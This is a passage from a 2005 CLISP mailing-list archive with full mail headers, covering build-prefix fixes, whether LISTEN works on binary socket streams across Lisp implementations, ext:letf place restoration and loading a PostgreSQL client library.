Thanks. Use: cd clisp-2.35 ./configure --prefix=$HOME/local --build /tmp/clisp-build --install then: $HOME/local/bin/clisp -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From pjb@informatimago.com Wed Aug 31 15:23:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAaz3-000101-Rx for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:23:05 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAaz2-0008MS-QF for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:23:05 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1339F58344; Thu, 1 Sep 2005 00:22:59 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4347A5833D; Thu, 1 Sep 2005 00:22:55 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D0F7510F9F6; Thu, 1 Sep 2005 00:22:55 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17174.11711.820179.819957@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: Re: [clisp-list] Re: listen doesn't work on binary sockets! In-Reply-To: References: <20050831171330.DE61910F9F6@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 15:24:26 2005 X-Original-Date: Thu, 1 Sep 2005 00:22:55 +0200 Sam Steingold writes: > > * Pascal Bourguignon [2005-08-31 19:13:30 +0200]: > > > > While the CLHS description of LISTEN use the term character, it > > doesn't specify a character input stream, just a mere input stream. > > Since most internet protocols have a binary specification (despite the > > fact that ASCII encoding is often used for meta data), I'd suggest too > > implement LISTEN to work on binary streams too. > > this would require just a trivial change. > the only question is: > will the change be really ANSI-compliant. > please investigate what the other implementation do (after all, the > standard expresses the vendor consensus), and raise the issue on the > c.l.l. clisp no 2.35 either either cmucl yes 18e Linux ix86 gcl no 2.6.7 Linux ix86 ; it seems we can't specify the element type. ecl yes 0.9g Linux ix86 openmcl yes 0.14.3 MacOSX ppc sbcl yes 0.9.0 Linux ix86 There seems to be a concensus toward LISTEN working on binary streams. ------------------------------------------------------------------------ clisp: listen doesn't work on binary socket streams: (let ((s (socket:socket-connect 110 "larissa" :element-type '(unsigned-byte 8)))) (unwind-protect (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) (close s))) 43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 53 NIL 48 NIL 57 NIL 57 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 49 NIL 56 NIL 48 NIL 56 NIL 52 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10 NIL ------------------------------------------------------------------------ cmucl: listen works on binary socket streams: * (let* ((sock (ext:connect-to-inet-socket "larissa" 110)) (s (system:make-fd-stream sock :input t :output t :element-type '(unsigned-byte 8) :buffering :none))) (unwind-protect (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) (close s))) 43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 49 T 51 T 51 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 56 T 51 T 48 T 50 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10 NIL * ------------------------------------------------------------------------ gcl: listen doesn't work on binary socket streams: >(let ((s (system:SOCKET 110 :host "larissa" :async nil))) (unwind-protect (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) (close s))) 43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 55 NIL 54 NIL 48 NIL 50 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 50 NIL 54 NIL 54 NIL 56 NIL 51 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10 NIL ------------------------------------------------------------------------ ecl: listen works on binary socket streams: > (list-all-packages) (#<"SB-BSD-SOCKETS" package> #<"WALKER" package> #<"FFI" package> #<"CLOS" package> #<"SI" package> #<"KEYWORD" package> #<"COMMON-LISP-USER" package> #<"COMMON-LISP" package>) > (let ((sock (make-instance 'sb-bsd-sockets:inet-socket :type :stream :protocol :tcp))) (sb-bsd-sockets:socket-bind sock #(0 0 0 0) 0) (sb-bsd-sockets:socket-connect sock #(62 93 174 78) 110) (let ((s (sb-bsd-sockets:socket-make-stream sock :element-type '(unsigned-byte 8)))) (unwind-protect (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) (close s)))) 43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 55 T 53 T 49 T 49 T 46 T 49 T 49 T 50 T 53 T 53 T 50 T 54 T 51 T 55 T 51 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10 NIL > (lisp-implementation-type) "ECL" > ------------------------------------------------------------------------ openmcl: listen works on binary socket streams: > (openmcl-socket:with-open-socket (s :format :binary :remote-host "larissa" :remote-port 110) (openmcl-socket:socket-connect s) (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " "))) 43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 52 T 48 T 57 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 57 T 55 T 50 T 49 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10 NIL > ------------------------------------------------------------------------ sbcl: listen works on binary socket streams: (let ((sock (make-instance 'sb-bsd-sockets:inet-socket :type :stream :protocol :tcp))) (sb-bsd-sockets:socket-bind sock #(0 0 0 0) 0) (sb-bsd-sockets:socket-connect sock #(62 93 174 78) 110) (let ((s (sb-bsd-sockets:socket-make-stream sock :element-type '(unsigned-byte 8)))) (unwind-protect (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) (close s)))) 43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 48 T 56 T 54 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 56 T 48 T 48 T 53 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10 NIL ------------------------------------------------------------------------ -- "A TRUE Klingon warrior does not comment his code!" From sds@gnu.org Wed Aug 31 15:24:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAb0X-00017C-D2 for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:24:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAb0W-0000GG-TB for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:24:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7VMONBD019982; Wed, 31 Aug 2005 18:24:24 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "David A. Ventimiglia" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43161F8E.5060308@msu.edu> (David A. Ventimiglia's message of "Wed, 31 Aug 2005 17:22:22 -0400") References: <43161F8E.5060308@msu.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, "David A. Ventimiglia" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 15:25:31 2005 X-Original-Date: Wed, 31 Aug 2005 18:23:38 -0400 > * David A. Ventimiglia [2005-08-31 17:22:22 -0400]: > > I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed > the instructions in the ../unix/INSTALL file to install it onto Linux > (Fedora core 2). yum install clisp (fedora extra) > clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory "~" is shell-specific. use --prefix="$HOME". -- Sam Steingold (http://www.podval.org/~sds) running w2k Professionalism is being dispassionate about your work. From ventimig@msu.edu Wed Aug 31 15:31:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAb7Y-0001PA-HT for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:31:52 -0700 Received: from sys04.mail.msu.edu ([35.9.75.104]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EAb7X-000208-Bw for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:31:52 -0700 Received: from galileo.pa.msu.edu ([35.9.70.167]) by sys04.mail.msu.edu with esmtpsa (Exim 4.52 #1) (TLSv1:AES256-SHA:256) id 1EAb7R-000653-4N for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 18:31:45 -0400 Message-ID: <43162FD1.6010802@msu.edu> From: "David A. Ventimiglia" User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory References: <43161F8E.5060308@msu.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus: None found by Clam AV X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 15:32:27 2005 X-Original-Date: Wed, 31 Aug 2005 18:31:45 -0400 Sam Steingold wrote: >>* David A. Ventimiglia [2005-08-31 17:22:22 -0400]: >> >>I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed >>the instructions in the ../unix/INSTALL file to install it onto Linux >>(Fedora core 2). >> >> > >yum install clisp > >(fedora extra) > > > >> clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory >> >> > >"~" is shell-specific. >use --prefix="$HOME". > > > Thanks! From Devon@Jovi.Net Wed Aug 31 15:37:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAbCb-0001ea-Dc for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:37:05 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EAbCP-0004eo-Th for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:37:05 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j7VLoYUn093931 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 17:50:36 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j7VLoNdB093915; Wed, 31 Aug 2005 17:50:23 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200508312150.j7VLoNdB093915@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net, , Bruno Haible In-reply-to: (message from Sam Steingold on Wed, 31 Aug 2005 14:46:18 -0400) Subject: Re: [clisp-list] Re: listen doesn't work on binary sockets! References: <20050831171330.DE61910F9F6@thalassa.informatimago.com> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Wed, 31 Aug 2005 17:50:47 -0400 (EDT) X-Spam-Score: -0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.7 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 15:38:05 2005 X-Original-Date: Wed, 31 Aug 2005 17:50:23 -0400 (EDT) LISTEN takes binary files and should take sockets too. It would be awful to define LISTEN-BYTE merely because ANSI verbiage sometimes conflates character and interactive streams, which are underspecified precisely so we may work this out. CMU Common Lisp 18c, ... * (listen (open "/dev/tty")) NIL * (listen (open "/dev/tty" :element-type 'unsigned-byte)) NIL * (listen (open "." :element-type 'unsigned-byte)) T * i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> (listen (open "/dev/tty")) NIL [2]> (listen (open "/dev/tty" :element-type 'unsigned-byte)) NIL [3]> Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible From: Sam Steingold In-Reply-To: <20050831171330.DE61910F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 31 Aug 2005 19:13:30 +0200 (CEST)") Subject: [clisp-list] Re: listen doesn't work on binary sockets! Date: Wed, 31 Aug 2005 14:46:18 -0400 > * Pascal Bourguignon [2005-08-31 19:13:30 +0200]: > > While the CLHS description of LISTEN use the term character, it > doesn't specify a character input stream, just a mere input stream. > Since most internet protocols have a binary specification (despite the > fact that ASCII encoding is often used for meta data), I'd suggest too > implement LISTEN to work on binary streams too. this would require just a trivial change. the only question is: will the change be really ANSI-compliant. please investigate what the other implementation do (after all, the standard expresses the vendor consensus), and raise the issue on the c.l.l. -- Sam Steingold (http://www.podval.org/~sds) running w2k Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. ------------------------------------------------------- SF.Net email is Sponsored by the Better Software Conference & EXPO September 19-22, 2005 * San Francisco, CA * Development Lifecycle Practices Agile & Plan-Driven Development * Managing Projects & Teams * Testing & QA Security * Process Improvement & Measurement * http://www.sqe.com/bsce5sf _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From s11@member.fsf.org Wed Aug 31 16:14:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAbmz-00036c-VV for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 16:14:41 -0700 Received: from sccimhc91.asp.att.net ([63.240.76.165]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAbmy-0003bD-Ff for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 16:14:41 -0700 Received: from [192.168.10.2] (12-220-39-45.client.insightbb.com[12.220.39.45]) by sccimhc91.asp.att.net (sccimhc91) with SMTP id <20050831231430i9100aamsqe>; Wed, 31 Aug 2005 23:14:31 +0000 Subject: Re: [clisp-list] ext:letf with gethash and symbol-value From: Stephen Compall To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0305458DEF@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0305458DEF@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain Message-Id: <1125530068.21233.2.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.4-3.1.102mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.5 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 16:15:26 2005 X-Original-Date: Wed, 31 Aug 2005 18:14:28 -0500 On Tue, 2005-08-02 at 11:20 +0200, Hoehle, Joerg-Cyril wrote: > However, it does not correctly restore the original state when used > with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit, > whereas they might have been unset/unbound before. Is there a way to find out whether a place, in general, is set or unset? -- Stephen Compall http://scompall.nocandysoftware.com/blog From kania_potter@yahoo.com Thu Sep 01 02:27:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAlMD-0001By-GW for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 02:27:41 -0700 Received: from web30403.mail.mud.yahoo.com ([68.142.200.106]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EAlFQ-0005Rw-H6 for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 02:27:41 -0700 Received: (qmail 98637 invoked by uid 60001); 1 Sep 2005 09:20:29 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=jUFr+gb5f+E8WnEvopEWx7NhiEY7bYLWbw0NNh6inaFjwX5Ha0s5n+R9z1VDrzlBybbBSyB8E8x5D16ifRtYgpjPGxVvMc95xm3iy6Tz3WBl/DI0omkXHK01GX1PLTTNlI4grAFPSDJr/862AbOALLlS355/ewdmfYdK8TDJKTk= ; Message-ID: <20050901092029.98635.qmail@web30403.mail.mud.yahoo.com> Received: from [202.95.157.19] by web30403.mail.mud.yahoo.com via HTTP; Thu, 01 Sep 2005 02:20:29 PDT From: Kania Potter Reply-To: kania_potter@yahoo.com Subject: Re: [clisp-list] connect to database postgresql To: clisp-list@lists.sourceforge.net In-Reply-To: <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 08:10:18 2005 X-Original-Date: Thu, 1 Sep 2005 02:20:29 -0700 (PDT) Thanks for all information. I follow this instruction....... But, I still have a problem, like this....: [1]> (load (compile-file "/home/potter/download/pg-0.19/defpackage.lisp")) Compiling file /home/potter/download/pg-0.19/defpackage.lisp ... Wrote file /home/potter/download/pg-0.19/defpackage.fas 0 errors, 0 warnings ;; Loading file /home/potter/download/pg-0.19/defpackage.fas ... ;; Loaded file /home/potter/download/pg-0.19/defpackage.fas T [2]> (load (compile-file "/home/potter/download/pg-0.19/sysdep.lisp")) Compiling file /home/potter/download/pg-0.19/sysdep.lisp ... Wrote file /home/potter/download/pg-0.19/sysdep.fas 0 errors, 0 warnings ;; Loading file /home/potter/download/pg-0.19/sysdep.fas ... ;; Loaded file /home/potter/download/pg-0.19/sysdep.fas T [3]> (load (compile-file "/home/potter/download/pg-0.19/pg.lisp")) Compiling file /home/potter/download/pg-0.19/pg.lisp ... Wrote file /home/potter/download/pg-0.19/pg.fas 0 errors, 0 warnings ;; Loading file /home/potter/download/pg-0.19/pg.fas ... ;; Loaded file /home/potter/download/pg-0.19/pg.fas T [4]> (load (compile-file "/root/LISP/sample1.lisp")) Compiling file /root/LISP/sample1.lisp ... WARNING in (WITH-PG-CONNECTION (CONN "table" "kania" ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines 8..14 : CONN is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in (WITH-PG-CONNECTION (CONN "table" "kania" ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines 8..14 : CONN is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in (WITH-PG-CONNECTION (CONN "table" "kania" ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines 8..14 : CONN is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in (WITH-PG-CONNECTION (CONN "table" "kania" ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines 8..14 : CONN is neither declared nor bound, it will be treated as if it were declared SPECIAL. Wrote file /root/LISP/sample1.fas The following functions were used but not defined: WITH-PG-CONNECTION CONN WITH-PG-TRANSACTION PG-TABLES PG-EXEC The following special variables were not defined: CONN 0 errors, 4 warnings ;; Loading file /root/LISP/sample1.fas ... ** - Continuable Error 4 name conflicts while executing USE-PACKAGE of (#) into package #. If you continue (by typing 'continue'): You may choose for every conflict in favour of which symbol to resolve it. Break 1 [5]> Where Iam wrong??? Did we have to config pg-0.19 before load it?? If yes, plase tell me where the conflict did??? Thanks for the answer. regards, kania > > > --- Pascal Bourguignon > wrote: > > > Kania Potter writes: > > > Thanks for u'r information Mr. Jörg Höhle. But I > > still > > > have a problem. I try to load again my program, > > but > > > the same error message "PG" didn't recognize. > I've > > > done extract pg-dot-lisp-0.19.tgz, and try to > > load an > > > example code (pg-tests.lisp). But, > unfortunately, > > "PG" > > > didn't recognize :( > > > Iam really confused. Please help me. > > > > > > thanks for the answer > > > > (load (compile-file "defpackage.lisp")) > > (load (compile-file "sysdep.lisp")) > > (load (compile-file "pg.lisp")) > > > > ;; or just: (load "defpackage.lisp") (load > > "sysdep.lisp") (load "pg.lisp") > > ;; or just: (asdf:operate 'asdf:load-op :pg) > > > > ;; then: > > (use-package "POSTGRESQL") > > (with-pg-connection (conn ...) > > (with-pg-transaction conn > > (pg-exec "DROP TABLE test_date")) "Draco dormiens nunquam titillandus" __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From sds@gnu.org Thu Sep 01 08:09:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAqhA-0003rB-7z for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:09:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAqh7-0003n9-NO for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:09:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j81F9JHA021173; Thu, 1 Sep 2005 11:09:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Stephen Compall Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1125530068.21233.2.camel@nocandy.dyndns.org> (Stephen Compall's message of "Wed, 31 Aug 2005 18:14:28 -0500") References: <5F9130612D07074EB0A0CE7E69FD7A0305458DEF@S4DE8PSAAGS.blf.telekom.de> <1125530068.21233.2.camel@nocandy.dyndns.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Stephen Compall Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ext:letf with gethash and symbol-value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 08:11:43 2005 X-Original-Date: Thu, 